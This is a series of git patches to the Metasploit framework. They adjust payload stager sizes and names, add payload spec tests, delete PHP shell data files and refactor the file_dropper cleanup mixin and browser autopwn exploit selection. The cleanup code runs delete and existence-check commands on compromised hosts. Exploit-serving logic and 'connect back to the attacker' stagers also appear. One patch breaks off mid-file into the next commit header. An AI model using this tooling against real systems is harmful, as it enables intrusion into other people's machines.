b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 15401bb9b6..9afb60b3f1 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/linux/bind_tcp' module Metasploit4 - CachedSize = 110 + CachedSize = 120 include Msf::Payload::Stager include Msf::Payload::Linux::BindTcp diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb index 1f944b7a9a..6128aa18c2 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/linux/bind_tcp' module Metasploit4 - CachedSize = 110 + CachedSize = 165 include Msf::Payload::Stager include Msf::Payload::Linux::BindTcp diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index 9bae106ea4..ca16347a58 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/bind_tcp' module Metasploit4 - CachedSize = 146 + CachedSize = 155 include Msf::Payload::Stager include Msf::Payload::Linux::BindTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 60eeecb7ab..f31c72d104 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 229 + CachedSize = 236 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index bd5083c12d..493bd720cc 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1331,6 +1331,17 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp' end + context 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp_uuid', + 'stages/linux/x86/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' + end + context 'linux/x86/meterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 24526c2ef9f2492b951772b183f70c8b1cab83c2 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 21:46:05 +1000 Subject: [PATCH 0115/1013] Removed unused data files --- data/php/bind_tcp.php | 56 -------------------------------------- data/php/bind_tcp_ipv6.php | 53 ------------------------------------ data/php/reverse_tcp.php | 56 -------------------------------------- 3 files changed, 165 deletions(-) delete mode 100755 data/php/bind_tcp.php delete mode 100755 data/php/bind_tcp_ipv6.php delete mode 100755 data/php/reverse_tcp.php diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php deleted file mode 100755 index a987fd4b31..0000000000 --- a/data/php/bind_tcp.php +++ /dev/null @@ -1,56 +0,0 @@ -# Date: Mon, 18 May 2015 21:52:33 +1000 Subject: [PATCH 0116/1013] Formatting fixes --- .../stagers/linux/x86/bind_ipv6_tcp.rb | 22 +++++++++---------- .../stagers/linux/x86/bind_ipv6_tcp_uuid.rb | 22 +++++++++---------- .../payloads/stagers/linux/x86/bind_tcp.rb | 21 +++++++++--------- .../stagers/linux/x86/bind_tcp_uuid.rb | 1 - 4 files changed, 30 insertions(+), 36 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 9afb60b3f1..0106b03e01 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -1,10 +1,8 @@ - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' @@ -22,16 +20,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind IPv6 TCP Stager (Linux x86)', - 'Description' => 'Listen for an IPv6 connection (Linux x86)', - 'Author' => [ 'kris katterjohn', 'egypt' ], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => true } - )) + 'Name' => 'Bind IPv6 TCP Stager (Linux x86)', + 'Description' => 'Listen for an IPv6 connection (Linux x86)', + 'Author' => [ 'kris katterjohn', 'egypt' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) end def use_ipv6 diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb index 6128aa18c2..eb3fa79cda 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -1,10 +1,8 @@ - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' @@ -22,16 +20,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind IPv6 TCP Stager with UUID support (Linux x86)', - 'Description' => 'Listen for an IPv6 connection with UUID support (Linux x86)', - 'Author' => [ 'kris katterjohn', 'egypt', 'OJ Reeves' ], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => true } - )) + 'Name' => 'Bind IPv6 TCP Stager with UUID support (Linux x86)', + 'Description' => 'Listen for an IPv6 connection with UUID support (Linux x86)', + 'Author' => [ 'kris katterjohn', 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) end def use_ipv6 diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index f41afaae61..d72c328b3e 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' @@ -17,16 +16,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (Linux x86)', - 'Description' => 'Listen for a connection (Linux x86)', - 'Author' => [ 'skape', 'egypt' ], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => true } - )) + 'Name' => 'Bind TCP Stager (Linux x86)', + 'Description' => 'Listen for a connection (Linux x86)', + 'Author' => [ 'skape', 'egypt' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) end end diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index ca16347a58..961c976b20 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' From 4a5f92072e0ec8ef78e65e561ed2a9b9f1c3a190 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 22:00:51 +1000 Subject: [PATCH 0117/1013] Make msftidy happy --- modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb | 4 ++-- modules/payloads/stagers/php/bind_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/python/bind_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/python/reverse_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/windows/bind_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/windows/reverse_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb | 4 ++-- 10 files changed, 20 insertions(+), 20 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb index eb3fa79cda..7b1e53a378 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -20,8 +20,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind IPv6 TCP Stager with UUID support (Linux x86)', - 'Description' => 'Listen for an IPv6 connection with UUID support (Linux x86)', + 'Name' => 'Bind IPv6 TCP Stager with UUID Support (Linux x86)', + 'Description' => 'Listen for an IPv6 connection with UUID Support (Linux x86)', 'Author' => [ 'kris katterjohn', 'egypt', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index 961c976b20..ee806bcde8 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -20,8 +20,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager, sending UUID (Linux x86)', - 'Description' => 'Listen for a connection, sending UUID (Linux x86)', + 'Name' => 'Bind TCP Stager with UUID Support (Linux x86)', + 'Description' => 'Listen for a connection with UUID Support (Linux x86)', 'Author' => [ 'skape', 'egypt' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb index a9ea0c45a0..1b48521d2c 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb @@ -20,8 +20,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager IPv6 with UUID support', - 'Description' => 'Listen for a connection over IPv6 with UUID support', + 'Name' => 'Bind TCP Stager IPv6 with UUID Support', + 'Description' => 'Listen for a connection over IPv6 with UUID Support', 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'Platform' => 'php', diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb index f2729f810d..1ba9da4899 100644 --- a/modules/payloads/stagers/php/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb @@ -20,8 +20,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager with UUID support', - 'Description' => 'Listen for a connection with UUID support', + 'Name' => 'Bind TCP Stager with UUID Support', + 'Description' => 'Listen for a connection with UUID Support', 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'Platform' => 'php', diff --git a/modules/payloads/stagers/python/bind_tcp_uuid.rb b/modules/payloads/stagers/python/bind_tcp_uuid.rb index 951a9b1c30..ec327de75f 100644 --- a/modules/payloads/stagers/python/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/python/bind_tcp_uuid.rb @@ -24,8 +24,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Python Bind TCP Stager with UUID support', - 'Description' => 'Listen for a connection with UUID support', + 'Name' => 'Python Bind TCP Stager with UUID Support', + 'Description' => 'Listen for a connection with UUID Support', 'Author' => 'OJ Reeves', 'License' => MSF_LICENSE, 'Platform' => 'python', diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index 472bfbe420..0b5e7878d2 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -23,8 +23,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Python Reverse TCP Stager with UUID support', - 'Description' => 'Connect back to the attacker with UUID support', + 'Name' => 'Python Reverse TCP Stager with UUID Support', + 'Description' => 'Connect back to the attacker with UUID Support', 'Author' => 'OJ Reeves', 'License' => MSF_LICENSE, 'Platform' => 'python', diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb index 4a2a7cfbb0..e95e507495 100644 --- a/modules/payloads/stagers/windows/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb @@ -21,8 +21,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x86 Bind TCP Stager, sending UUID', - 'Description' => 'Listen for a connection, send UUID (Windows x86)', + 'Name' => 'Bind TCP Stager with UUID Support (Windows x86)', + 'Description' => 'Listen for a connection with UUID Support (Windows x86)', 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, 'Platform' => 'win', diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb index a1d7afa7f3..f0617111d1 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb @@ -21,8 +21,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse TCP Stager with UUID support', - 'Description' => 'Connect back to the attacker, send UUID first', + 'Name' => 'Reverse TCP Stager with UUID Support', + 'Description' => 'Connect back to the attacker with UUID Support', 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, 'Platform' => 'win', diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb index 968dcd0370..ee698c5933 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -20,8 +20,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Bind TCP Stager, sending UUID', - 'Description' => 'Listen for a connection, send UUID (Windows x64)', + 'Name' => 'Bind TCP Stager with UUID Support (Windows x64)', + 'Description' => 'Listen for a connection with UUID Support (Windows x64)', 'Author' => [ 'sf' ], 'License' => MSF_LICENSE, 'Platform' => 'win', diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index 5c03b40aa8..a71fa5be83 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -20,8 +20,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse TCP Stager with UUID support', - 'Description' => 'Connect back to the attacker, send UUID first (Windows x64)', + 'Name' => 'Reverse TCP Stager with UUID Support (Windows x64)', + 'Description' => 'Connect back to the attacker with UUID Support (Windows x64)', 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, 'Platform' => 'win', From 820727e24d8a9fdc2d9af8b58afcb25a177e99c4 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 22:21:08 +1000 Subject: [PATCH 0118/1013] Add missing payloads to spec --- spec/modules/payloads_spec.rb | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 493bd720cc..0348f2e3a4 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2044,6 +2044,17 @@ describe 'modules/payloads', :content do reference_name: 'php/meterpreter/bind_tcp' end + context 'php/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/bind_tcp_uuid', + 'stages/php/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp_uuid' + end + context 'php/meterpreter/bind_tcp_ipv6' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2055,6 +2066,17 @@ describe 'modules/payloads', :content do reference_name: 'php/meterpreter/bind_tcp_ipv6' end + context 'php/meterpreter/bind_tcp_ipv6_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/bind_tcp_ipv6_uuid', + 'stages/php/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp_ipv6_uuid' + end + context 'php/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2066,6 +2088,17 @@ describe 'modules/payloads', :content do reference_name: 'php/meterpreter/reverse_tcp' end + context 'php/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/reverse_tcp_uuid', + 'stages/php/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/reverse_tcp_uuid' + end + context 'php/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 129ed7fb7ae9c1eed9cd8ee8acb9bfa427da7e65 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 10:27:04 -0500 Subject: [PATCH 0119/1013] Add yard documentation --- lib/msf/core/exploit/file_dropper.rb | 122 +++++++++++++++++---------- 1 file changed, 76 insertions(+), 46 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 49a7d49e43..66db5bf738 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -14,52 +14,22 @@ module Exploit::FileDropper ], self.class) end - # # When a new session is created, attempt to delete any files that the # exploit created. # # @param (see Msf::Exploit#on_new_session) # @return [void] - # def on_new_session(session) super print_status("new session...") + puts "#{self.session}" + if self.payload + puts "#{self.payload.session}" + end on_new_session_job(session) end - def on_new_session_job(new_session) - if session - session_orig = session - end - - self.session = new_session - - if session.type == 'meterpreter' - session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') - end - - if not @dropped_files or @dropped_files.empty? - return true - end - - @dropped_files.delete_if do |file| - puts "Deleting #{file}" - exists_before = file_dropper_check_file(file) - if file_dropper_delete(file) - file_dropper_deleted?(file, exists_before) - else - false - end - end - - if session_orig - self.session = session_orig - else - self.session = nil - end - end - # # Record file as needing to be cleaned up # @@ -123,10 +93,76 @@ module Exploit::FileDropper private + # Takes a new session and makes the drop files task + # + # @param (see Msf::Exploit#on_new_session) + # @return [void] + # @note This methods needs to overwrite *and restore* the original + # `session` attribute + def on_new_session_job(new_session) + session_orig = session + self.session = new_session + + begin + file_dropper_delete_files + ensure + self.session = session_orig + end + end + + # Uses the exploit `session` to delete files on the `dropped_files` list + # + # @return [void] + def file_dropper_delete_files + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + end + + unless @dropped_files && @dropped_files.length > 0 + return + end + + @dropped_files.delete_if do |file| + puts "Deleting #{file}" + exists_before = file_dropper_check_file(file) + if file_dropper_delete(file) + file_dropper_deleted?(file, exists_before) + else + false + end + end + end + + # Check if a file exists in the `session` file system + # + # @param [String] file The file to check + # @return [TrueClass] If the file exists + # @return [FalseClass] If the file doesn't exist + def file_dropper_check_file(file) + puts "Checking file... #{file}" + if session.platform =~ /win/ + normalized = file_dropper_win_file(file) + else + normalized = file + end + + puts "Checking normalized file... #{file}" + Msf::Post::File.file_exist?(normalized) + end + + # Converts a file path to use the windows separator '\' + # + # @param [String] file The file path to convert + # @return [String] The file path converted def file_dropper_win_file(file) file.gsub('/', "\\\\") end + # Sends a file deletion command to the remote `session` + # + # @param [String] file The file to delete + # @return [TrueClass] If the delete command has been executed in the remote machine + # @return [FalseClass] Otherwise def file_dropper_delete(file) puts "Deleting #{file}" win_file = file_dropper_win_file(file) @@ -162,18 +198,12 @@ module Exploit::FileDropper end end - def file_dropper_check_file(file) - puts "Checking file... #{file}" - if session.platform =~ /win/ - normalized = file_dropper_win_file(file) - else - normalized = file - end - - puts "Checking normalized file... #{file}" - Msf::Post::File.file_exist?(normalized) - end - + # Checks if a file has been deleted by the current job + # + # @param [String] file The file to check + # @param [TrueClass] exists_before Indicates if the file existed before the cleanup job + # @return [TrueClass] if the file has been deleted or it cannot resolve + # @return [FalseClass] if the file hasn't been deleted def file_dropper_deleted?(file, exists_before) puts "Deleted? ... #{file}" if exists_before && file_dropper_check_file(file) From ea8e62f0fb3ae8b44c36ccab08c957d8d08be5bb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 14:13:12 -0500 Subject: [PATCH 0120/1013] Add #file_dropper_file_exist? --- lib/msf/core/exploit/file_dropper.rb | 148 ++++++++++++--------------- 1 file changed, 63 insertions(+), 85 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 66db5bf738..6fe6439c1f 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -3,8 +3,6 @@ module Msf module Exploit::FileDropper - attr_accessor :session - def initialize(info = {}) super @@ -14,23 +12,6 @@ module Exploit::FileDropper ], self.class) end - # When a new session is created, attempt to delete any files that the - # exploit created. - # - # @param (see Msf::Exploit#on_new_session) - # @return [void] - def on_new_session(session) - super - - print_status("new session...") - puts "#{self.session}" - if self.payload - puts "#{self.payload.session}" - end - on_new_session_job(session) - end - - # # Record file as needing to be cleaned up # # @param files [Array] List of paths on the target that should @@ -49,7 +30,32 @@ module Exploit::FileDropper # Singular version alias register_file_for_cleanup register_files_for_cleanup + # When a new session is created, attempt to delete any files that the + # exploit created. # + # @param (see Msf::Exploit#on_new_session) + # @return [void] + def on_new_session(session) + super + + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + end + + unless @dropped_files && @dropped_files.length > 0 + return + end + + @dropped_files.delete_if do |file| + exists_before = file_dropper_file_exist?(session, file) + if file_dropper_delete(session, file) + file_dropper_deleted?(session, file, exists_before) + else + false + end + end + end + # While the exploit cleanup do a last attempt to delete any files created # if there is a file_rm method available. Warn the user if any files were # not cleaned up. @@ -93,78 +99,44 @@ module Exploit::FileDropper private - # Takes a new session and makes the drop files task + # See if +path+ exists on the remote system and is a regular file # - # @param (see Msf::Exploit#on_new_session) - # @return [void] - # @note This methods needs to overwrite *and restore* the original - # `session` attribute - def on_new_session_job(new_session) - session_orig = session - self.session = new_session - - begin - file_dropper_delete_files - ensure - self.session = session_orig - end - end - - # Uses the exploit `session` to delete files on the `dropped_files` list - # - # @return [void] - def file_dropper_delete_files - if session.type == 'meterpreter' - session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') - end - - unless @dropped_files && @dropped_files.length > 0 - return - end - - @dropped_files.delete_if do |file| - puts "Deleting #{file}" - exists_before = file_dropper_check_file(file) - if file_dropper_delete(file) - file_dropper_deleted?(file, exists_before) - else - false - end - end - end - - # Check if a file exists in the `session` file system - # - # @param [String] file The file to check + # @param path [String] Remote filename to check # @return [TrueClass] If the file exists # @return [FalseClass] If the file doesn't exist - def file_dropper_check_file(file) - puts "Checking file... #{file}" + def file_dropper_file_exist?(session, path) if session.platform =~ /win/ - normalized = file_dropper_win_file(file) + normalized = file_dropper_win_file(path) else - normalized = file + normalized = path end - puts "Checking normalized file... #{file}" - Msf::Post::File.file_exist?(normalized) + if session.type == 'meterpreter' + stat = session.fs.file.stat(normalized) rescue nil + return false unless stat + stat.file? + else + if session.platform =~ /win/ + f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\" ( echo true )") + if f =~ /true/ + f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\\\\\" ( echo false ) ELSE ( echo true )") + end + else + f = session.shell_command_token("test -f \"#{normalized}\" && echo true") + end + + return false if f.nil? || f.empty? + return false unless f =~ /true/ + true + end end - # Converts a file path to use the windows separator '\' - # - # @param [String] file The file path to convert - # @return [String] The file path converted - def file_dropper_win_file(file) - file.gsub('/', "\\\\") - end - - # Sends a file deletion command to the remote `session` + # Sends a file deletion command to the remote +session+ # # @param [String] file The file to delete - # @return [TrueClass] If the delete command has been executed in the remote machine - # @return [FalseClass] Otherwise - def file_dropper_delete(file) - puts "Deleting #{file}" + # @return [TrueClass] the delete command has been executed in the remote machine + # @return [FalseClass] otherwise + def file_dropper_delete(session, file) win_file = file_dropper_win_file(file) if session.type == 'meterpreter' @@ -181,7 +153,6 @@ module Exploit::FileDropper false end else - puts "Deleting with shell" win_cmds = [ %Q|attrib.exe -r "#{win_file}"|, %Q|del.exe /f /q "#{win_file}"| @@ -201,12 +172,11 @@ module Exploit::FileDropper # Checks if a file has been deleted by the current job # # @param [String] file The file to check - # @param [TrueClass] exists_before Indicates if the file existed before the cleanup job + # @param [TrueClass] exists_before Indicates if the file existed before the deletion # @return [TrueClass] if the file has been deleted or it cannot resolve # @return [FalseClass] if the file hasn't been deleted - def file_dropper_deleted?(file, exists_before) - puts "Deleted? ... #{file}" - if exists_before && file_dropper_check_file(file) + def file_dropper_deleted?(session, file, exists_before) + if exists_before && file_dropper_file_exist?(session, file) print_error("Unable to delete #{file}") false elsif exists_before @@ -218,5 +188,13 @@ module Exploit::FileDropper end end + # Converts a file path to use the windows separator '\' + # + # @param [String] file The file path to convert + # @return [String] The file path converted + def file_dropper_win_file(file) + file.gsub('/', '\\\\') + end + end end From 89be3fc1f2a7fe7e9142ff8632b004b577c7785e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 18 May 2015 16:27:18 -0500 Subject: [PATCH 0121/1013] Do global requirement comparison in BAP --- lib/msf/core/exploit/browserautopwnv2.rb | 28 +++++++++++++++++++++-- modules/exploits/multi/browser/autopwn.rb | 5 +++- 2 files changed, 30 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index fb00f10982..1fa10b5ea8 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -488,14 +488,38 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Array] def get_suitable_exploits(cli, request) - current_exploit_list = bap_exploits.dup + current_exploit_list = [] tag = retrieve_tag(cli, request) profile_info = get_profile_info(tag) - #$stderr.puts profile_info.inspect + bap_exploits.each do |m| + if m.get_bad_requirements(profile_info).empty? + current_exploit_list << m + end + end + + if datastore['RealList'] + show_real_list(cli.peerhost, tag, current_exploit_list) + end + current_exploit_list end + def show_real_list(ip, tag, current_exploit_list) + order = 1 + table = Rex::Ui::Text::Table.new( + 'Header' => '', + 'Indent' => 1, + 'Columns' => ['Order', 'IP', 'Exploit'] + ) + current_exploit_list.each do |m| + table << [order, ip, m.shortname] + order += 1 + end + print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + end + + # Returns a list of exploit URLs. # # @param cli [Socket] Socket for the browser diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index a3b666a4dc..f0ab961770 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -25,11 +25,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0)) + register_advanced_options(get_advanced_options, self.class) register_options( [ - OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), + OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection'], 'WebServer']), OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), @@ -56,6 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, 